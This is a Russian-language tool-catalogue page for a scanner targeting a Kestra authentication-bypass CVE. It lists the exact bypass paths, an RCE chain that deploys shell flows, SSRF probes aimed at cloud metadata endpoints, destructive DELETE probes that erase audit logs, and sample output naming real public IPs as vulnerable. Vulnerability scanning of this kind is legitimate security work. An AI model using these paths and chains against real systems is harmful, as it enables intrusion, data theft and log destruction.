Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-49869 — Kestra Auth-Bypass Vulnerability Checker | Kitploit
Инструменты/GitHubGitHub/ap0dexme0/cve-2026-49869
Vulnerability ScannersExploitationWeb Application ExploitationPenetration TestingCommand and ControlAuthentication
GitHubap0dexme0/cve-2026-49869

CVE-2026-49869

Kestra Auth-Bypass Vulnerability Checker

Репозиторий
11 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Сканер Kestra CVE-2026-49869 / CVE-2026-53576

Сканирует экземпляры Kestra на предмет обхода аутентификационного фильтра через endsWith("/configs"). Файл AuthenticationFilter.java в Kestra проверяет request.getPath().endsWith("/configs") вместо точного совпадения пути /api/v1/configs. Поскольку Kestra адресует ресурсы через выбранные вызывающим сегменты пути (пространство имён, ID потока), любой путь, оканчивающийся на /configs, обходит базовую аутентификацию, позволяя неаутентифицированное создание потоков и RCE. (CVSS 10.0)

Ссылки:

  • GHSA-5vc5-wxxq-3fjx
  • TP-2026-009
  • CVE-2026-49869 Неправильная аутентификация / Внедрение команд ОС / Неполный список запрещённых входных данных
  • CVE-2026-53576

Логика обнаружения

  1. Проверка работоспособности + версии GET /api/v1/configs (должен вернуть 200; тело ответа анализируется для получения версии Kestra)
  2. Проверка аутентификации GET /api/v1/{tenant}/flows (должен вернуть 401/403, если аутентификация включена)
  3. Пробы обхода 6 GET-запросов к путям, оканчивающимся на /configs; если любой возвращает не 401/403 при активной аутентификации, экземпляр уязвим
  4. Агрессивный режим (--aggressive) также отправляет PUT-запросы для подтверждения возможности записи в обход аутентификации
  5. Проверка RCE (--rce) полная цепочка: создание shell/python потока → запуск выполнения → получение логов → подтверждение выполнения кода → очистка
  6. Обнаружение SSRF (--ssrf) создаёт поток с Pebble http(), нацеленный на метаданные AWS/GCP/Azure и внутренние конечные точки, затем проверяет логи на наличие свидетельств
  7. DELETE-пробы (--destructive) отправляет DELETE на пути потоков, панелей мониторинга и логов для подтверждения обхода деструктивных операций

Конечные точки проб

Безопасные пробы (по умолчанию)

Агрессивные пробы (--aggressive)

ПробаМетодПутьОписание
PUT-обход потоковPUTтакой же, как у обхода потоковСоздаёт минимальный поток

Деструктивные пробы (--destructive)

Цепочка проверки RCE (--rce)

Запускается только при подтверждении обхода аутентификации. Полная цепочка из бюллетеня:

Цепочка обнаружения SSRF (--ssrf)

Запускается только при подтверждении обхода аутентификации:

Справочник по CLI

root@kitploit:~
positional:
  target                          URL одной цели (например, http://localhost:8080)

options:
  -f, --file                      Файл с целями (по одной на строку)
  -t, --timeout                   Тайм-аут запроса в секундах (по умолчанию: 10)
  --verify-ssl                    Проверять TLS-сертификаты
  -j, --json                      Вывод JSON в stdout
  -o, --output                    Записать JSON-отчёт в файл
  --tenant                        Имя арендатора (по умолчанию: "main")
  --namespace                     Пространство имён для путей обхода (по умолчанию: "tutorial")
  -w, --workers                   Количество потоков для массового сканирования (по умолчанию: 10)
  -a, --aggressive                Отправлять PUT-запросы для подтверждения обхода записи
  -P, --auto-ports                Порты для автоматического расширения (по умолчанию: 8080 8081 8088 8091 80 443)

advanced probes:
  -r, --rce                       Включить цепочку проверки RCE (shell + python поток,
                                   запуск выполнения, получение логов, автоочистка)
  -s, --ssrf                      Включить обнаружение SSRF (Pebble http() к конечным точкам
                                   облачных метаданных, сбор свидетельств на основе логов)
  -d, --destructive               Включить DELETE-пробы на потоки, панели мониторинга и логи
                                   (УДАЛИТ ресурсы на уязвимых экземплярах)
  --poll-interval                 Секунды между опросами логов для цепочек RCE/SSRF (по умолчанию: 3)
  --poll-retries                  Максимальное количество попыток опроса логов для цепочек RCE/SSRF (по умолчанию: 10)

Вывод

Одиночная цель

Полная детализация по каждой пробе с дополнениями (версия, RCE, SSRF, статус DELETE) и вердикт:

root@kitploit:~
====================================================================
  Цель:        http://10.0.0.1:8080
  Время:       2026-06-30T12:00:00+00:00
====================================================================

  Версия:          1.3.20 (ЗАТРОНУТ)
  RCE:             ПОДТВЕРЖДЁН через shell
    | SCAN_RCE_a1b2c3d4e5f6
    | uid=0(root) gid=0(root) groups=0(root)
  SSRF:            ОБНАРУЖЕН
    | Найдены индикаторы: ami-, 169.254.169.254, 127.0.0.1:8080
  DELETE-ОБХОД:    ПОДТВЕРЖДЁН обход аутентификации для деструктивных операций

  [Обход потоков]
    URL:         http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
    Статус:       200
    Обход:       ДА

  [Обход выполнений]
    URL:         http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
    Статус:       404
    Обход:       НЕТ

  ...

  ── Цепочка проверки RCE ──
    Создание потока: 201
    Запуск выполнения: 201
    Свидетельства в логах: 200
      > SCAN_RCE_a1b2c3d4e5f6
      > uid=0(root) gid=0(root) groups=0(root)
    Очистка потока: 204

  ── Цепочка обнаружения SSRF ──
    Создание потока: 201
    Запуск выполнения: 201
    Свидетельства: 200
      Найдены индикаторы: ami-, 169.254.169.254, 127.0.0.1:8080
    Очистка потока: 204

  [УЯЗВ]  Вердикт: УЯЗВИМ ...
====================================================================

Сводка массового сканирования

Отсортированная таблица с колонками флагов RCE/SSRF/DEL:

root@kitploit:~
========================================================================================================================================
  СВОДКА МАССОВОГО СКАНИРОВАНИЯ   GHSA-5vc5-wxxq-3fjx  |  CVE-2026-49869 / CVE-2026-53576
========================================================================================================================================
  #    Цель                             Аут   Пот   Вып   KV    Пане  Логи  Шабл  RCE   SSRF  DEL   Верд.
  ---------------------------------------------------------------------------------------------------------------------------------------
  1    http://173.249.1.26:8080        401    404    ERR    ERR    ERR    405    404    ДА    ДА    ДА    RCE!
  2    http://207.180.207.199:8080     401    404    ERR    ERR    ERR    405    404    НЕОП -      ДА    УЯЗВ
  ...
  30   http://103.115.65.228:8080      401    401    ERR    401    ERR    401    401    -      -      -      БЕЗОП
  ...
========================================================================================================================================
  Всего: 258  |  Уязвимых: 5  |  RCE подтверждено: 1  |  SSRF обнаружено: 1  |  DELETE-обход: 2  |  Безопасных: 29  |  Неопределённых: 224
========================================================================================================================================

Коды выхода: 0 = уязвимостей нет, 1 = уязвимость найдена, 2 = все неопределённые.

JSON-отчёт

При использовании -j или -o вывод включает поля дополнения для каждой цели:

root@kitploit:~
{
  "scan_info": {
    "scanner": "kestra_cve v2.0.0",
    "cve": ["CVE-2026-49869", "CVE-2026-53576"],
    "aggressive": true,
    "rce": true,
    "ssrf": true,
    "destructive": true
  },
  "results": [
    {
      "target": "http://10.0.0.1:8080",
      "vulnerable": true,
      "version": "1.3.20",
      "version_in_affected_range": true,
      "rce_confirmed": true,
      "rce_method": "shell",
      "rce_evidence": "SCAN_RCE_a1b2c3d4e5f6\nuid=0(root)",
      "ssrf_detected": true,
      "ssrf_evidence": "Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080",
      "delete_bypass": true,
      "probes": { "..." : "..." }
    }
  ],
  "summary": {
    "total": 258,
    "vulnerable": 5,
    "rce_confirmed": 1,
    "ssrf_detected": 1,
    "delete_bypass": 2,
    "safe": 29,
    "inconclusive": 224
  }
}

Обнаружение версии

Сканер автоматически извлекает версию Kestra из ответа GET /api/v1/configs и классифицирует её:

Используется сравнение с учётом веток, поскольку Kestra поддерживает отдельные ветки исправлений (1.0.x и 1.3.x).

v1.0.0

  • Первоначальный выпуск с безопасными GET-пробами, агрессивными PUT-пробами, массовым сканированием и JSON-выводом

Установка

Требуется Python 3.10+.

root@kitploit:~
pip install -r requirements.txt
python main.py --help

Отказ от ответственности

Только для авторизованного защитного тестирования. Флаги --rce и --destructive создают и выполняют реальные ресурсы на цели. Всегда получайте соответствующее письменное разрешение перед сканированием систем, которые вам не принадлежат.

Скачать инструмент
ПробаМетодПутьОписание
Публичные конфигиGET/api/v1/configsПроверка работоспособности + извлечение версии
Защищённый нормальныйGET/api/v1/{tenant}/flowsБазовый уровень проверки аутентификации
Обход потоковGET/api/v1/{tenant}/flows/{namespace}/configsОбход получения списка потоков
Обход выполненийGET/api/v1/{tenant}/executions/{namespace}/configsОбход выполнения
Обход KV-хранилищаGET/api/v1/{tenant}/namespaces/{namespace}/kv/configsОбход чтения KV
Обход панелей мониторингаGET/api/v1/{tenant}/dashboards/configsОбход панелей мониторинга
Обход логовGET/api/v1/{tenant}/logs/{namespace}/configsОбход доступа к логам
Обход шаблоновGET/api/v1/{tenant}/templates/{namespace}/configsОбход чтения шаблонов
debug.Return
PUT-обход KVPUTтакой же, как у обхода KVСоздаёт запись KV {"scanned": true}
ПробаМетодПутьОписание
DELETE-обход потоковDELETEтакой же, как у обхода потоковУдаляет ресурс с именем "configs"
DELETE-обход панелей мониторингаDELETEтакой же, как у обхода панелей мониторингаУдаляет панель мониторинга с именем "configs"
DELETE-обход логовDELETEтакой же, как у обхода логовУничтожает журналы аудита
ШагМетодПутьОписание
1. Создать RCE потокPUT/api/v1/{tenant}/flows/{namespace}/configsРазвёртывает поток с io.kestra.plugin.scripts.shell.Commands (echo <marker>, id, hostname). При неудаче использует io.kestra.plugin.scripts.python.Script.
2. Запустить выполнениеPOST/api/v1/{tenant}/executions/{namespace}/configsЗапускает поток через путь обхода
3. Опрашивать логиGET/api/v1/{tenant}/logs/search?executionId=<id>Опрашивает до --poll-retries раз (по умолчанию 10) каждые --poll-interval секунд (по умолчанию 3) в поисках уникального маркера RCE
4. ОчисткаDELETEтакой же, как шаг 1Удаляет развёрнутый поток
ШагМетодПутьОписание
1. Создать SSRF потокPUT/api/v1/{tenant}/flows/{namespace}/configsРазвёртывает задачу debug.Return с вызовами Pebble http() к AWS (169.254.169.254/latest/meta-data/ami-id), GCP (metadata.google.internal), Azure (169.254.169.254/metadata/instance) и внутренним ресурсам (127.0.0.1:8080/api/v1/configs)
2. Запустить выполнениеPOSTтакой же, как шаг 2 RCEЗапускает поток
3. Опрашивать логиGET/api/v1/{tenant}/logs/search?executionId=<id>Проверяет на наличие индикаторов облачных метаданных (ami-, i-, 169.254.169.254, metadata.google.internal и т. д.)
4. ОчисткаDELETEтакой же, как шаг 1Удаляет развёрнутый поток
ВерсияКлассификация
<= 1.0.44ЗАТРОНУТА (ветка 1.0, до исправления)
>= 1.0.45Исправлена (ветка 1.0)
1.3.0 1.3.20ЗАТРОНУТА (ветка 1.3, до исправления)
>= 1.3.21Исправлена (ветка 1.3)
>= 1.4.0Исправлена (новее затрагиваемого диапазона)
НеизвестноВерсия не найдена в ответе